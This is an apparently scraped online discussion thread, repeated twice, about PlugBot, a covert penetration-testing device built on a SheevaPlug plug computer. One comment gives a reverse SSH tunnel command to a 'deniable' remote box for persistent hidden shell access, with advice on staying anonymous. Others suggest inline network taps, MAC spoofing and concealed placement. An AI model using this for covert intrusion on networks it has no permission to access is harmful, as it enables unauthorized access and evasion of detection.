5 ms·

The PlugBot: A covert penetration testing device

41 points by there 16y ago

gmaster1440 16y ago
Is there a way I can actually get my hands on one ? I'd love to.
- proexploit 16y ago
  You can get the SheevaPlug DevKit for $99 (http://www.globalscaletechnologies.com/p-22-sheevaplug-dev-kit-us.aspx http://www.globalscaletechnologies.com/p-22-sheevaplug-dev-k...). As far as the software they're using, it's not available yet but will be GPL (source: http://theplugbot.com/about http://theplugbot.com/about).
- ori_b 16y ago
  It just looks like a regular Sheevaplug: http://en.wikipedia.org/wiki/SheevaPlug http://en.wikipedia.org/wiki/SheevaPlug
- trotsky 16y ago
  looks like a sheevaplug... http://www.plugcomputer.org/ http://www.plugcomputer.org/ then just install debian and compile whatever script^H^H^H^H^H^Hpenetration test tools you need.
- bradleyland 16y ago
  The hardware is not what's unique about this project. Look at the overview: http://theplugbot.com/assets/PlugBot_Overview.pdf http://theplugbot.com/assets/PlugBot_Overview.pdf This involves a web server component with a reporting interface and some method of proxying "command packages" between the operator and the plug, which resides behind a firewall.
nostromo 16y ago
Pretty cool... and terrifying. You could do something similar already by leaving behind an iPhone (with custom software) plugged in somewhere in the office. It could probably be less conspicuous than this thing.
- bradleyland 16y ago
  An iPhone would have to be connected to the network through WiFi. If you're doing penetration testing in the enterprise space, it's unlikely that you're able to connect to their core network through WiFi. I do network consulting for a medium-large business ($300 mil market cap) that I consider to be pretty typical from a network security standpoint. They focus on securing their edge-facing access points, and thus they don't allow any access to their core networks through WiFi. It's all VLAN'd off in a DMZ. An iPhone would only be useful if you could penetrate their firewall at the DMZ... but then you might as well just attack from an internet facing point. This device is a lot more dangerous, as it connects to an Ethernet port. Unsecured Ethernet ports are a lot easier to come by in most businesses. I've only ever worked with one company that secured their Ethernet network at such a low level (802.1X), and they were a very, very large multi-national corporation with a big manufacturing segment. They had to secure at the Ethernet layer as a matter of certification for the products they manufacture. Very few companies go through the trouble of implementing security at the Ethernet layer because of the expense and trouble involved.
- wwortiz 16y ago
  I think plugging in something in the powerstrip under a desk and connecting it to an open ethernet port would take a very long time to be noticed in most offices whereas an iphone would be moved to lost and found or stolen or asked around whose it was.
- icey 16y ago
  Many moons ago I did something like this at a place I worked. Instead of a phone, I took the guts of a dreamcast running Linux and duct taped under the CTO's desk because he refused to stop claiming that our network was significantly more secure than it actually was (which is to say, he claimed it it was very secure, when in reality it wasn't secured at all). Unfortunately, it didn't have the desired effect; and the network admin was pissed that he had to count all of the connection lights on the switches in the network closet once a week. Rogue devices on your network are hard to detect and defeat.
  - bradleyland 16y ago
jberryman 16y ago
FYI the device pictured is a SheevaPlug and is most of what is cool about this IMHO http://en.wikipedia.org/wiki/SheevaPlug http://en.wikipedia.org/wiki/SheevaPlug This would be a fun project but it strikes me as a little lame that they want donations for what I imagine would be writing a few bash scripts.
- noonespecial 16y ago
  We already use Sheevas for this and tons more. Taking the default debian, plugging in a usb stick and running snort is indeed a 10 minute operation. For more elegance, use a guru plug with its dual gigE ports, turn it into a transparent bridge, and just put it inline with the ethernet cable of your target. http://www.globalscaletechnologies.com/t-guruplugdetails.aspx http://www.globalscaletechnologies.com/t-guruplugdetails.asp... Once you realize you've got a fully capable linux server/router right there in the wall socket, all kinds of wild applications start springing to mind.
- bradleyland 16y ago
  Well, their intent is to GPL the code. Everybody has to pay their bills, and asking for donations isn't exactly the cardinal sin of open source development. The fact that it is a SheevaPlug is probably the least remarkable thing about this project. What appears to be unique is that they're looking at this from a high level. They're asking the question: "What moving parts are required for a robust, remote-access penetration tool." The "Drop Zone" concept is probably the most intriguing. Installing Linux plus a few security tools on a SheevaPlug is really simple. But that's not what this project appears to be. Have a look at the overview document: http://theplugbot.com/assets/PlugBot_Overview.pdf http://theplugbot.com/assets/PlugBot_Overview.pdf It's going to take more than writing a few bash scripts to have a robust framework for uploading results to a drop zone, and retrieving new command packages. This reminds me a little bit of worms like Stuxnet, which reach out to outside sources for new information. They're more than a monitor. They're an agent.
robertk 16y ago
It took me a minute. Apparently, I have a dirty mind...
deleted 16y ago
[deleted]
dotBen 16y ago
Wouldn't it easier just to have a regular SheevaPlug set up so that when it is running it is constantly trying to maintain a reverse SSH connection to the IP of some deniable/anon box/vps you 0wn somewhere (perhaps a free shell server, a Low End Box, etc)? ssh -R 19999:localhost:22 user@<IP of deniable box> (Make sure the key certificate for user is on the SheevaPlug so you don't need passwords). Then you just ssh localhost -p 19999 on the deniable box to get into the plug (perhaps daisy chaining the SSH connections for added security/anonymity). This would not only avoid any custom software but you would have real-time shell access rather than having to batch scripts, wait for payloads to return etc which it sounds is the approach of the author post. I wouldn would to have real-time access so I could nuke the device if I thought I'd been compromised. Using a free-dns service like afraid.org, rather than an IP address directly, would further add to the anonymity because you could change/delete the record if you were compromised or needed to switch boxes.
cwb71 16y ago
I know that this is just Sheeva hardware, but I think this application begs for a second Ethernet port. Then you could use it as a “tap,” wouldn't need to find a an empty network port, could spoof the MAC of the device behind it, etc. Even better, put power over Ethernet in it and use it to replace the power injector already attached to that Polycom in the conference room...
- noonespecial 16y ago
  This version has 2 gigE ports and only costs $20 more. http://www.globalscaletechnologies.com/t-guruplugdetails.aspx http://www.globalscaletechnologies.com/t-guruplugdetails.asp...
PostOnce 16y ago
You could run tor hidden services on these things, to keep wikileaks afloat covertly. Install them above dropped ceilings, if possible.
tzm 16y ago
This should be a Kickstarter project.

41 points by there 16y ago

gmaster1440 16y ago

Is there a way I can actually get my hands on one ? I'd love to.

proexploit 16y ago
You can get the SheevaPlug DevKit for $99 (http://www.globalscaletechnologies.com/p-22-sheevaplug-dev-kit-us.aspx http://www.globalscaletechnologies.com/p-22-sheevaplug-dev-k...). As far as the software they're using, it's not available yet but will be GPL (source: http://theplugbot.com/about http://theplugbot.com/about).
ori_b 16y ago
It just looks like a regular Sheevaplug: http://en.wikipedia.org/wiki/SheevaPlug http://en.wikipedia.org/wiki/SheevaPlug
trotsky 16y ago
looks like a sheevaplug... http://www.plugcomputer.org/ http://www.plugcomputer.org/ then just install debian and compile whatever script^H^H^H^H^H^Hpenetration test tools you need.
bradleyland 16y ago
The hardware is not what's unique about this project. Look at the overview: http://theplugbot.com/assets/PlugBot_Overview.pdf http://theplugbot.com/assets/PlugBot_Overview.pdf This involves a web server component with a reporting interface and some method of proxying "command packages" between the operator and the plug, which resides behind a firewall.

nostromo 16y ago

Pretty cool... and terrifying. You could do something similar already by leaving behind an iPhone (with custom software) plugged in somewhere in the office. It could probably be less conspicuous than this thing.

bradleyland 16y ago
An iPhone would have to be connected to the network through WiFi. If you're doing penetration testing in the enterprise space, it's unlikely that you're able to connect to their core network through WiFi. I do network consulting for a medium-large business ($300 mil market cap) that I consider to be pretty typical from a network security standpoint. They focus on securing their edge-facing access points, and thus they don't allow any access to their core networks through WiFi. It's all VLAN'd off in a DMZ. An iPhone would only be useful if you could penetrate their firewall at the DMZ... but then you might as well just attack from an internet facing point. This device is a lot more dangerous, as it connects to an Ethernet port. Unsecured Ethernet ports are a lot easier to come by in most businesses. I've only ever worked with one company that secured their Ethernet network at such a low level (802.1X), and they were a very, very large multi-national corporation with a big manufacturing segment. They had to secure at the Ethernet layer as a matter of certification for the products they manufacture. Very few companies go through the trouble of implementing security at the Ethernet layer because of the expense and trouble involved.
wwortiz 16y ago
I think plugging in something in the powerstrip under a desk and connecting it to an open ethernet port would take a very long time to be noticed in most offices whereas an iphone would be moved to lost and found or stolen or asked around whose it was.
icey 16y ago
Many moons ago I did something like this at a place I worked. Instead of a phone, I took the guts of a dreamcast running Linux and duct taped under the CTO's desk because he refused to stop claiming that our network was significantly more secure than it actually was (which is to say, he claimed it it was very secure, when in reality it wasn't secured at all). Unfortunately, it didn't have the desired effect; and the network admin was pissed that he had to count all of the connection lights on the switches in the network closet once a week. Rogue devices on your network are hard to detect and defeat.
- bradleyland 16y ago

jberryman 16y ago

FYI the device pictured is a SheevaPlug and is most of what is cool about this IMHO http://en.wikipedia.org/wiki/SheevaPlug http://en.wikipedia.org/wiki/SheevaPlug This would be a fun project but it strikes me as a little lame that they want donations for what I imagine would be writing a few bash scripts.

noonespecial 16y ago
We already use Sheevas for this and tons more. Taking the default debian, plugging in a usb stick and running snort is indeed a 10 minute operation. For more elegance, use a guru plug with its dual gigE ports, turn it into a transparent bridge, and just put it inline with the ethernet cable of your target. http://www.globalscaletechnologies.com/t-guruplugdetails.aspx http://www.globalscaletechnologies.com/t-guruplugdetails.asp... Once you realize you've got a fully capable linux server/router right there in the wall socket, all kinds of wild applications start springing to mind.
bradleyland 16y ago
Well, their intent is to GPL the code. Everybody has to pay their bills, and asking for donations isn't exactly the cardinal sin of open source development. The fact that it is a SheevaPlug is probably the least remarkable thing about this project. What appears to be unique is that they're looking at this from a high level. They're asking the question: "What moving parts are required for a robust, remote-access penetration tool." The "Drop Zone" concept is probably the most intriguing. Installing Linux plus a few security tools on a SheevaPlug is really simple. But that's not what this project appears to be. Have a look at the overview document: http://theplugbot.com/assets/PlugBot_Overview.pdf http://theplugbot.com/assets/PlugBot_Overview.pdf It's going to take more than writing a few bash scripts to have a robust framework for uploading results to a drop zone, and retrieving new command packages. This reminds me a little bit of worms like Stuxnet, which reach out to outside sources for new information. They're more than a monitor. They're an agent.

robertk 16y ago

It took me a minute. Apparently, I have a dirty mind...

deleted 16y ago

[deleted]

dotBen 16y ago

Wouldn't it easier just to have a regular SheevaPlug set up so that when it is running it is constantly trying to maintain a reverse SSH connection to the IP of some deniable/anon box/vps you 0wn somewhere (perhaps a free shell server, a Low End Box, etc)? ssh -R 19999:localhost:22 user@<IP of deniable box> (Make sure the key certificate for user is on the SheevaPlug so you don't need passwords). Then you just ssh localhost -p 19999 on the deniable box to get into the plug (perhaps daisy chaining the SSH connections for added security/anonymity). This would not only avoid any custom software but you would have real-time shell access rather than having to batch scripts, wait for payloads to return etc which it sounds is the approach of the author post. I wouldn would to have real-time access so I could nuke the device if I thought I'd been compromised. Using a free-dns service like afraid.org, rather than an IP address directly, would further add to the anonymity because you could change/delete the record if you were compromised or needed to switch boxes.

cwb71 16y ago

I know that this is just Sheeva hardware, but I think this application begs for a second Ethernet port. Then you could use it as a “tap,” wouldn't need to find a an empty network port, could spoof the MAC of the device behind it, etc. Even better, put power over Ethernet in it and use it to replace the power injector already attached to that Polycom in the conference room...

noonespecial 16y ago
This version has 2 gigE ports and only costs $20 more. http://www.globalscaletechnologies.com/t-guruplugdetails.aspx http://www.globalscaletechnologies.com/t-guruplugdetails.asp...

PostOnce 16y ago

You could run tor hidden services on these things, to keep wikileaks afloat covertly. Install them above dropped ceilings, if possible.

tzm 16y ago

This should be a Kickstarter project.